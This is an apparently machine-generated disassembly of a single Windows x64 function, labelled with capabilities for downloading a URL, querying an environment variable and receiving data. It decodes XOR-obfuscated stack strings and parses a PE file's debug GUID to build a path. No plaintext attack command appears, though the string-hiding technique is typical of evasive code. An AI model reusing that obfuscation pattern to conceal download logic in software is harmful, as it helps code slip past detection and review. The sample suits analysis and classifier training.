Function at 0x1400074d0
Capabilities:
Download url
Query environment variable
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x10], rdx
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x560
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov r13, rdx
xor r12d, r12d
mov dword [rbp + 0x104], r12d
movabs rax, 0xa98143b781287531
mov qword [rbp + 0xe0], rax
movabs rax, 0x1abc4b2932b983f4
mov qword [rbp + 0xe8], rax
movabs rax, 0xc3250df1cee1bbf1
mov qword [rbp + 0xf0], rax
movabs rax, 0xcfbe454f20a51e8
mov qword [rbp + 0xf8], rax
movabs rsi, 0x9aec26c3f251266d
mov qword [rbp + 0x80], rsi
movabs rbx, 0x68d7384646d7dfc6
mov qword [rbp + 0x88], rbx
movabs rcx, 0xc3256889abcfd79f
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0xe0], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x80], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0xe0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x1400075d0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x80]
call fcn.140001310
nop
movabs rax, 0xf59e4ba686225f1e
mov qword [rbp + 0x20], rax
movabs rax, 0x68d7384646d7aba9
mov qword [rbp + 0x28], rax
mov qword [rbp], rsi
mov qword [rbp + 8], rbx
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140007641
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.140001310
nop
lea r9, [rbp + 0x80]
lea r8, [rbp + 0xe0]
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0xa8]
call fcn.140006480
mov r15d, 2
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x1400076c4
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400076be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400076be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009efc
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x140007708
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007703
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007703
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009efc
movabs rax, 0xf58848aaa50d1c2e
mov qword [rbp], rax
movabs rax, 0x68a75523128bacb1
mov qword [rbp + 8], rax
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x78], rbx
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
lea rax, [rbp]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140007750
lea rdx, [rbp]
lea rcx, [rbp + 0x30]
call fcn.140001310
nop
lea rax, [rbp + 0x30]
mov r8, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
cmova rax, r8
mov rcx, qword [rbp + 0x40]
cmp byte [rcx + rax - 1], 0x5c
je 0x14000781a
movabs rax, 0x9aec26c3f2512631
mov qword [rbp], rax
mov qword [rbp + 8], rbx
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rbx
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp], xmm0
lea rax, [rbp]
mov rsi, rdi
nop word [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400077c0
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x140007800
lea rax, [rsi + rcx]
mov qword [rbp + 0x40], rax
lea rbx, [rbp + 0x30]
cmp rdx, 0xf
cmova rbx, r8
add rbx, rcx
mov r8, rsi
lea rdx, [rbp]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
jmp 0x14000781a
mov qword [rsp + 0x20], rsi
lea r9, [rbp]
movzx r8d, byte [rbp + 0x10]
mov rdx, rsi
lea rcx, [rbp + 0x30]
call fcn.140005ca0
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova rdx, qword [rbp + 0xa8]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x24
lea rcx, [rbp + 0x1c0]
call fcn.140001830
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x1bc], edx
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov r14, qword [rax + 8]
add r14, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x108], xmm0
mov rsi, r12
mov qword [rbp + 0x118], r12
test r14, r14
je 0x140007942
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x140008f6f
cmp r14, 0x1000
jb 0x14000790f
lea rcx, [r14 + 0x27]
cmp rcx, r14
jbe 0x140008f75
call fcn.140009ec0
test rax, rax
je 0x140008e48
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000791a
mov rcx, r14
call fcn.140009ec0
mov rbx, rax
mov qword [rbp + 0x108], rbx
lea rsi, [rbx + r14]
mov qword [rbp + 0x118], rsi
mov r8, r14
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x110], rsi
jmp 0x140007949
mov rbx, qword [rbp + 0x108]
mov r8, r14
mov rdx, rbx
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x140008dab
test r14, r14
je 0x140008dab
movabs rax, 0x9aec26c390355643
mov qword [rbp], rax
movabs rax, 0x68d7384646d7dfc6
mov qword [rbp + 8], rax
movabs rcx, 0x9aec26c3f251266d
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp], xmm0
mov edx, 0x10
lea rcx, [rbp + 0x1a0]
call fcn.140009600
mov r14, rax
mov r12, qword [rbp + 0x40]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rcx, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov r8, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, r8
cmp r12, rax
ja 0x140007a7d
lea rax, [r8 + r12]
mov qword [r14 + 0x10], rax
mov r15, r14
cmp rdx, 0xf
jbe 0x140007a0e
mov r15, qword [r14]
lea rax, [r12 + rcx]
mov qword [rbp + 0x70], rax
cmp rax, r15
jbe 0x140007a36
lea rax, [r15 + r8]
cmp rcx, rax
ja 0x140007a36
cmp r15, rcx
ja 0x140007a2e
xor r13d, r13d
jmp 0x140007a39
mov r13, r15
sub r13, rcx
jmp 0x140007a39
mov r13, r12
inc r8
lea rcx, [r12 + r15]
mov rdx, r15
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, qword [rbp + 0x20]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
sub r12, r13
mov rdx, qword [rbp + 0x70]
add rdx, r13
lea rcx, [r15 + r13]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov r13, qword [rsp + 0x598]
mov r15d, 2
jmp 0x140007a9d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rcx
xor r9d, r9d
movzx r8d, byte [rbp + 0x10]
mov rdx, r12
mov rcx, r14
call fcn.140006180
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [r14 + 0x18], 0xf
xor r12d, r12d
mov qword [r14 + 0x10], r12
mov byte [r14], r12b
or r15d, 4
lea rax, [rbp]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140007ae6
lea rdx, [rbp]
lea rcx, [rbp + 0xe0]
call fcn.1400073b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r15d, 8
mov dword [rbp + 0x100], r15d
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140007b7c
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007b77
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009efc
movdqa xmm0, xmmword [0x14000cbf0]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x140007bdf
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007bd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007bd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009efc
movdqa xmm0, xmmword [0x14000cbf0]
movdqu xmmword [rbp + 0x1b0], xmm0
mov byte [rbp + 0x1a0], 0
movsxd r15, dword [rbx + 0x3c]
add r15, rbx
mov edx, r12d
mov dword [rbp + 0x14], edx
movzx eax, word [r15 + 4]
mov ecx, 0x8664
cmp ax, cx
jne 0x140007c32
lea rax, [r15 + 0xb8]
mov qword [rbp + 0x20], rax
lea r12, [r15 + 0x54]
lea rcx, [r15 + 0x50]
mov qword [rbp + 0x70], 0x90
mov eax, 0x38
mov r14d, 0x3c
jmp 0x140007c6e
mov ecx, 0x14c
cmp ax, cx
jne 0x140008c84
mov edx, 1
mov dword [rbp + 0x14], edx
mov qword [rbp + 0x20], 0xa0
mov ecx, 0x38
mov r12d, 0x3c
lea rax, [r15 + 0xa8]
mov qword [rbp + 0x70], rax
lea r14, [r15 + 0x54]
lea rax, [r15 + 0x50]
test edx, edx
cmove rax, rcx
mov ecx, dword [rax]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0xa0], rax
test rax, rax
jne 0x140007e91
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_SetLastError]
movabs rax, 0x9aec26c3b71f6923
mov qword [rbp], rax
movabs rax, 0x68d7384646d7dfc6
mov qword [rbp + 8], rax
movabs rcx, 0x9aec26c3f251266d
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp], xmm0
xorps xmm0, xmm0
movups xmmword [r13], xmm0
xor r14d, r14d
mov qword [r13 + 0x10], r14
mov qword [r13 + 0x18], r14
lea rax, [rbp]
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], r14b
jne 0x140007cf0
mov r8, rdi
lea rdx, [rbp]
mov rcx, r13
call fcn.140001310
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140007d44
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007d3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008d0a
call fcn.140009efc
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x140007d7c
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008e48
mov rdx, rsi
mov rcx, rbx
call fcn.140009efc
nop
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1d0]
call fcn.140001ba0
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x270]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140007e1c
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008ee6
call fcn.140009efc
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140007e6d
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f46
call fcn.140009efc
mov rax, r13
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
cmp dword [rbp + 0x14], 0
cmove r14, r12
mov r8d, dword [r14]
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx r14d, word [r15 + 0x14]
add r14, 0x2c
xor r12d, r12d
cmp word [r15 + 6], r12w
je 0x140007efa
add r14, r15
mov r13, qword [rbp + 0xa0]
mov eax, dword [r14 - 4]
test eax, eax
je 0x140007ee1
mov r8d, eax
mov edx, dword [r14]
add rdx, rbx
mov ecx, dword [r14 - 8]
add rcx, r13
call sub.VCRUNTIME140.dll_memcpy
inc r12d
add r14, 0x28
movzx eax, word [r15 + 6]
cmp r12d, eax
jne 0x140007ec4
mov r13, qword [rsp + 0x598]
cmp dword [rbp + 0x14], 0
mov rcx, qword [rbp + 0x70]
cmove rcx, qword [rbp + 0x20]
mov eax, dword [rcx]
mov rdx, qword [rbp + 0xa0]
cmp dword [rcx + 4], 0
je 0x140008a8d
cmp dword [rax + rdx + 0xc], 2
jne 0x140008a8d
mov eax, dword [rax + rdx + 0x14]
add rax, rdx
mov qword [rbp + 0x20], rax
cmp dword [rax], 0x53445352
je 0x1400080bb
mov rcx, rdx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_SetLastError]
movabs rax, 0x9aec26c3b71f6923
mov qword [rbp], rax
movabs rax, 0x68d7384646d7dfc6
mov qword [rbp + 8], rax
movabs rcx, 0x9aec26c3f251266d
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
mov rcx, r13
call fcn.1400033b0
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140007fd4
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007fcf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008b3f
call fcn.140009efc
xor edi, edi
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], dil
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x14000800e
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008b7f
mov rdx, rsi
mov rcx, rbx
call fcn.140009efc
nop
lea rcx, [rbp + 0x1c0]
call fcn.140001d40
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140008062
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000805d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008c1d
call fcn.140009efc
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140007e6d
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008c7d
jmp 0x140007e68
lea rax, [rbp + 0x80]
mov qword [rbp + 0x70], rax
lea r12, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r12, qword [rbp + 0x50]
mov r15, qword [rbp + 0x60]
call fcn.140009a04
mov dword [rbp + 0x14], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xor edx, edx
mov qword [rbp + 0x90], rdx
mov qword [rbp + 0x98], 7
mov word [rbp + 0x80], dx
mov ecx, dword [rbp + 0x100]
or ecx, 0x40
mov dword [rbp + 0x104], ecx
test r15, r15
je 0x140008194
cmp r15, 0x7fffffff
ja 0x140008f7b
mov dword [rsp + 0x20], edx
xor r9d, r9d
mov r8d, r15d
mov rdx, r12
mov ecx, eax
call fcn.140009a2c
mov r14, rax
shr rax, 0x20
test eax, eax
jne 0x140008f86
xor r8d, r8d
movsxd rdx, r14d
lea rcx, [rbp + 0x80]
call fcn.140009820
lea r9, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova r9, qword [rbp + 0x80]
mov dword [rsp + 0x20], r14d
mov r8d, r15d
mov rdx, r12
mov ecx, dword [rbp + 0x14]
call fcn.140009a2c
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140008f4d
mov r8d, 3
lea rdx, [rbp + 0x80]
lea rcx, [rbp]
call fcn.140006dd0
movsd xmm0, qword [rax]
movsd qword [rbp + 0x70], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp], ecx
lea rax, [0x140011010]
mov qword [rbp + 8], rax
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
mov eax, dword [rbp + 0x70]
test eax, eax
je 0x14000821f
cmp eax, 1
sete r14b
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x140008231
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000822c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000822c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r14b, 1
test ecx, ecx
jne 0x140008f57
jmp 0x1400081db
call fcn.140009efc
test r14b, r14b
je 0x140008993
xor edx, edx
mov r8d, 0xc8
lea rcx, [rbp + 0x440]
call sub.VCRUNTIME140.dll_memset
mov r15, qword [rbp + 0x20]
lea rcx, [r15 + 4]
mov r8d, 0x64
lea rdx, [rbp + 0x440]
call qword [sym.imp.ole32.dll_StringFromGUID2]
test eax, eax
jne 0x140008383
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_SetLastError]
movabs rax, 0x9aec26c3b71f6923
mov qword [rbp], rax
movabs rax, 0x68d7384646d7dfc6
mov qword [rbp + 8], rax
movabs rcx, 0x9aec26c3f251266d
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
mov rcx, r13
call fcn.1400033b0
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140008310
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000830b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000830b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009efc
xor edi, edi
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], dil
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x14000834a
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000898c
mov rdx, rsi
mov rcx, rbx
call fcn.140009efc
nop
lea rcx, [rbp + 0x1c0]
call fcn.140001d40
nop
mov r8, qword [rbp + 0x48]
cmp r8, 0xf
jbe 0x14000837a
mov rdx, qword [rbp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.140004a90
mov qword [rbp + 0x40], rdi
jmp 0x14000884e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x310], xmm0
movups xmmword [rbp + 0x320], xmm0
mov dword [rbp + 0x330], eax
xor r12d, r12d
mov qword [rbp + 0x20], r12
mov qword [rsp + 0x20], 0x64
lea r9, [rbp + 0x440]
mov r8d, 0x64
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
test eax, eax
jne 0x1400088b3
mov r14, qword [rbp + 0x20]
test r14, r14
je 0x1400088b3
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x340]
call sub.VCRUNTIME140.dll_memset
mov edx, r12d
mov eax, r12d
nop word [rax + rax]
movzx ecx, byte [rbp + rax + 0x2d0]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x14000843d
lea eax, [rcx - 0x41]
cmp al, 5
jbe 0x14000843d
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x140008461
lea r8, [rbp + 0x340]
mov rax, rdi
nop word [rax + rax]
lea rax, [rax + 1]
cmp byte [r8 + rax], r12b
jne 0x140008450
mov byte [rbp + rax + 0x340], cl
inc edx
mov eax, edx
cmp rax, r14
jne 0x140008420
xor eax, eax
mov word [rbp + 0x14], ax
mov byte [rbp + 0x16], al
mov r9d, 0xa
mov r8d, 3
lea rdx, [rbp + 0x14]
mov ecx, dword [r15 + 0x14]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa_s]
movabs rax, 0xb5c31cb082255205
mov qword [rbp + 0x120], rax
movabs rax, 0xbbe55682ab3acab
mov qword [rbp + 0x128], rax
movabs rax, 0xa00b1cefc4bcb8ed
mov qword [rbp + 0x130], rax
movabs rax, 0x6095933b96253c87
mov qword [rbp + 0x138], rax
movabs rax, 0xfd0a1a2cfe2c23de
mov qword [rbp + 0x140], rax
movabs rax, 0x47b4fda2ed99b965
mov qword [rbp + 0x148], rax
movabs rax, 0x9aec26c3f251266d
mov qword [rbp + 0x160], rax
movabs rax, 0x68d7384646d7dfc6
mov qword [rbp + 0x168], rax
movabs rax, 0xc3256889abcfd79f
mov qword [rbp + 0x170], rax
movabs rax, 0xcfbe454f20a51e8
mov qword [rbp + 0x178], rax
movabs rax, 0x9f67635fd14842b1
mov qword [rbp + 0x180], rax
movabs rax, 0x47b4fda2c2ead50a
mov qword [rbp + 0x188], rax
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqa xmm0, xmmword [rbp + 0x180]
vxorps xmm0, xmm0, xmmword [rbp + 0x140]
vmovdqa xmmword [rbp + 0x140], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x80], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0x120]
mov r8, rdi
vzeroupper
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x1400085b0
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x80]
call fcn.140001310
nop
lea r14, [r15 + 0x18]
mov r8, rdi
inc r8
cmp byte [r14 + r8], 0
jne 0x1400085d4
mov rdx, r14
lea rcx, [rbp + 0x80]
call fcn.1400073b0
movabs rax, 0x9aec26c3f2512642
mov qword [rbp], rax
movabs r15, 0x68d7384646d7dfc6
mov qword [rbp + 8], r15
movabs rax, 0x9aec26c3f251266d
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], r15
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea rax, [rbp]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140008630
lea rdx, [rbp]
lea rcx, [rbp + 0x80]
call fcn.1400073b0
lea rax, [rbp + 0x340]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140008654
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x80]
call fcn.1400073b0
lea rax, [rbp + 0x14]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140008680
lea rdx, [rbp + 0x14]
lea rcx, [rbp + 0x80]
call fcn.1400073b0
movabs rax, 0x9aec26c3f2512642
mov qword [rbp], rax
mov qword [rbp + 8], r15
movabs rax, 0x9aec26c3f251266d
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], r15
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea rax, [rbp]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400086d3
lea rdx, [rbp]
lea rcx, [rbp + 0x80]
call fcn.1400073b0
nop dword [rax]
inc rdi
cmp byte [r14 + rdi], 0
jne 0x1400086f0
mov r8, rdi
mov rdx, r14
lea rcx, [rbp + 0x80]
call fcn.1400073b0
lea r8, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r8, qword [rbp + 0x50]
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
